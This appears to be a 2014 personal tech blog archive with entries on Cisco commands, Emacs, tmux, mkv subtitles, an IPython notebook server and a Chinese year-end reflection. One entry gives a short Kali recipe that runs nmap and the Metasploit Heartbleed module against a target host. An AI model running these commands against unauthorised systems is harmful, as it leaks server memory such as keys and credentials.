Tuesday, May 27, 2014

cisco command notes

ssh user@sw
en             # enable
conf t         # configure terminal
ip http server
end

sh ru          # show running-config
sh start       # show startup-config


Ref:
http://boubakr92.wordpress.com/2013/09/16/ccna-cheat-sheet-part-1/

some cheat sheets

http://www.dummies.com/how-to/content/cisco-networking-allinone-for-dummies-cheat-sheet.html
http://packetlife.net/library/cheat-sheets/

Friday, May 16, 2014

Install better Emacs on Mac OS X

Of course, with Homebrew

brew fetch emacs --HEAD --force

brew reinstall emacs --use-git-head --srgb --japanese --with-gnutls --with-cocoa --with-x11 --HEAD --force

brew linkapps emacs

https://github.com/Homebrew/homebrew/blob/master/Library/Formula/emacs.rb

Friday, May 9, 2014

listen to ICRT under linux via mplayer

Listening to ICRT news is a good way to learn English.



append in my ~/.bashrc

# listen to the ICRT radio
icrt () {
    mplayer mms://bcr.media.hinet.net/RA000038
}


https://github.com/xatier/rc-files/commit/f0454201f70013e17cb87f39422782aa2a563574

Tuesday, May 6, 2014

A brief note for ssl-heartbleed exploit on Kali


Reference:

http://www.blackmoreops.com/2014/05/03/detect-exploit-openssl-heartbleed-vulnerability-using-nmap-metasploit-kali-linux/

https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb

http://nmap.org/nsedoc/scripts/ssl-heartbleed.html


# <rip> for remote IP (target)


# nmap -sV --script=ssl-heartbleed <rip>
# service postgresql start
# service metasploit start
# msfconsole
msf> use auxiliary/scanner/ssl/openssl_heartbleed
msf> show options
msf> set RHOSTS <rip>
msf> set verbose true
msf>  exploit

Monday, May 5, 2014

Move .emacs.d to bbatsov/prelude

After a night of Sashimi, I went my friend @superbil's home.



We talked a lot about emacs and other interesting hacking stuffs.

He recommend me to switch my emacs configuration to Bozhidar Batsov's prelude on github.

https://github.com/bbatsov/prelude

Steps:

Backup all stuffs in my .emacs and .emacs.d/ directory.

cd

git clone https://github.com/bbatsov/prelude.git .emacs.d

Copy prelude-modules.el from sample/ to personal/ .

cp sample/prelude-modules.el personal/

Comment (out) modules I need

Launch my emacs.

(waiting for compiling lisp files)

Make prelude up to date

M-x prelude-update

Restart my emacs.

Done!

----

Other settings


Add @superbil's fix-font-org-mode.el under personal/preload/

https://gist.github.com/Superbil/7113937

Switch to color-theme-sanityinc-tomorrow

http://emacsthemes.caisah.info/sanityinc-tomorrow-themes/

And...

github-browse-file mode
twittering-mode
switch-window mode
guide-key mode
ace-jump mode
rebind C-h

https://github.com/xatier/rc-files/blob/master/prelude-modules.el



Big thanks to @superbil (https://twitter.com/superbil)

Friday, April 4, 2014

attach tmux after update

I do pacman -Syu to upgrade my system. After that, I can't attach my tmux session.


$ tmux attach
protocol version mismatch (client 8, server 7)

Here's a hack to attach my session.

$ pgrep tmux
23335
$ /proc/23335/exe attach


Well done!

Reference: https://bugzilla.redhat.com/show_bug.cgi?id=1073119#c2


Monday, March 10, 2014

Extract subtitles from mkv movies

$ sudo pacman -S mkvtoolnix-cli

$ mkvmerge -i 5426d90fb609da53e52fdc31ce1180efb6e29430
File '5426d90fb609da53e52fdc31ce1180efb6e29430': container: Matroska
Track ID 0: audio (PCM)
Track ID 1: video (MPEG-4p10/AVC/h.264)
Track ID 2: subtitles (SubRip/SRT)
Global tags: 1 entries

$ mkvextract tracks 5426d90fb609da53e52fdc31ce1180efb6e29430 2:sub.srt
Extracting track 2 with the CodecID 'S_TEXT/UTF8' to the file 'sub.srt'. Container format: SRT text subtitles
Progress: 100%


Reference: http://www.bunkus.org/videotools/mkvtoolnix/doc/mkvmerge-gui.html

Friday, March 7, 2014

Setup a remote ipyhton notebook

# setup a password for the notebook
$ ipython
In [1]: from IPython.lib import passwd
In [2]: passwd()
Enter password:
Verify password:
Out[2]: 'sha1:747ba2295030:7bbe79e452b9bb3cae6e66ed738563e18a15462c'


# self-signed cert
$ openssl req -x509 -nodes -days 365 -newkey rsa:1024 -keyout mycert.pem -out mycert

# edit the profile for notebook
$ mkdir ~/.config/ipython/profile_serv/
$ vim ~/.config/ipython/profile_serv/ipython_notebook_config.py

c = get_config()
c.NotebookApp.password = u'sha1:747ba2295030:7bbe79e452b9bb3cae6e66ed738563e18a15462c'
c.NotebookApp.ip = '*'
c.NotebookApp.open_browser = False
c.NotebookApp.port = 10001
c.NotebookApp.certfile = u'/home/xatier/note/mycert.pem'

# run it!
$ ipython notebook --profile=serv



Reference:

http://ipython.org/ipython-doc/stable/interactive/public_server.html
http://nbviewer.ipython.org/github/Unidata/tds-python-workshop/blob/master/ipython-notebook-server.ipynb

Wednesday, January 1, 2014

bye, 2013


年底反省文




今年是變動很大、四處奔波的一年
認識了不少新朋友、但是同時也和很多舊交失去連繫
點和點之間的 connection 不斷的新生又斷開
豐原、台中、新竹、台北、Champaign
場所和場所之間、人與人不斷的遞嬗
很累了







首先要感謝我的家人
今年回家的次數比去年多了很多
只要週末我是閒暇的就往台中跑
能這樣陪家人的時間愈來愈少了
多陪陪他們吧
人在美國時也常打 Skype 回來
家裡是永遠的避風港
希望家人能持續健康、快樂







今年最重要的事情大概是去了美國一趟吧
感謝 ijsung 學長和 Dr. Hwu 的推薦
同事們都很棒,也感謝大老闆 AGK 、娘娘、公主們的照顧
Mark, Matthieu, Karoline, Kevin, Tom, Alex 你們都很好好 QQ
看了很多在台灣完全體驗不到的體會
吃了很多米國食物www
第一次嘗試美式墨西哥
太多太多難忘的餐廳數量難以一一列舉
回程前去 Chicago, 真的是很棒的城市
一定會想要爭取機會再去!






年初和 jserv 學長在一中舉辦了系統程式的寒訓
自己算是也學了很多吧
檢討了自己對於教學和傳授熱情的諸多項目
也是自己第一次自學 Obj-C iOS programming
逼迫自己把系統領域的知識弄的再更精熟,然後傳授給學弟們

美國回來後對學長那邊的幫忙比較少一些,感到抱歉
學長每次聊天或是吃宵夜都可以帶給我很大的動力
持續能有力量燃燒自己面對新竹這個悲劇的城市QQ
希望來年一樣可以繼續幫助學長也讓自己學習更多







一樣歷年感謝名單個人版
琬庭、芝芝、NaNi、君君、小趴、秀
謝謝你們陪伴我這一年,我的心情起伏真的有點大
沒有你們的陪伴可能我這年已經壓力爆炸了吧
聽我倒垃圾很累很沈重,辛苦你們了!




芝芝
琬庭說我一定是嚇到你了
但是我要說我真的非常非常喜歡你!!!!
我們的個性和各種方面來說真的太像了XD
天底下到底是我如何運氣好才能認識到你這樣的人
知道你的生活比我繁忙更多
也不是有很多時間理我
雖然你還沒有正式點頭答應,但是我不會放棄的!






小趴
謝謝你今年的陪伴
度過了許多以淚洗面的日子
一些玩笑話我真的不會開心,可是這就是你,對吧!
也許我真的不應該是適合你的人吧
難過的事情就不要再想了
謝謝你,也希望你未來會是很棒的







今年加入了學校的 OH
也許是給自己另一個機會吧
多看看多認識一些人也好
老闆廣廣對工程師很棒
來年也希望照顧了!






在系計中和各位夥伴學習也再多一年了
一樣希望能有更多成長
這年算是在這邊比較輕鬆吧
確立了自己想要的和自己能辦到的
就努力去作
保持磨練技術和經驗,熱血系統工程師







今年算是 hacking 碰的比較少的一年吧
感謝噗友、開源社群的夥伴以及各位 hacker
一樣今年指引小弟在資訊安全這條道路的學習
技術探討的熱情是很棒的
希望我能保持下去
能繼續能對於整個自由軟體社群和安全領域奉獻自己

happy hacking!



for each in NC7U-WTF channel
NC7U-WTF !!! 24x7 歡樂聊天、惡搞、婊人、髒髒物分享   糾團休學啦!幹!
XDDDDDD





來年就振作然後繼續努力吧!


xatier 20140101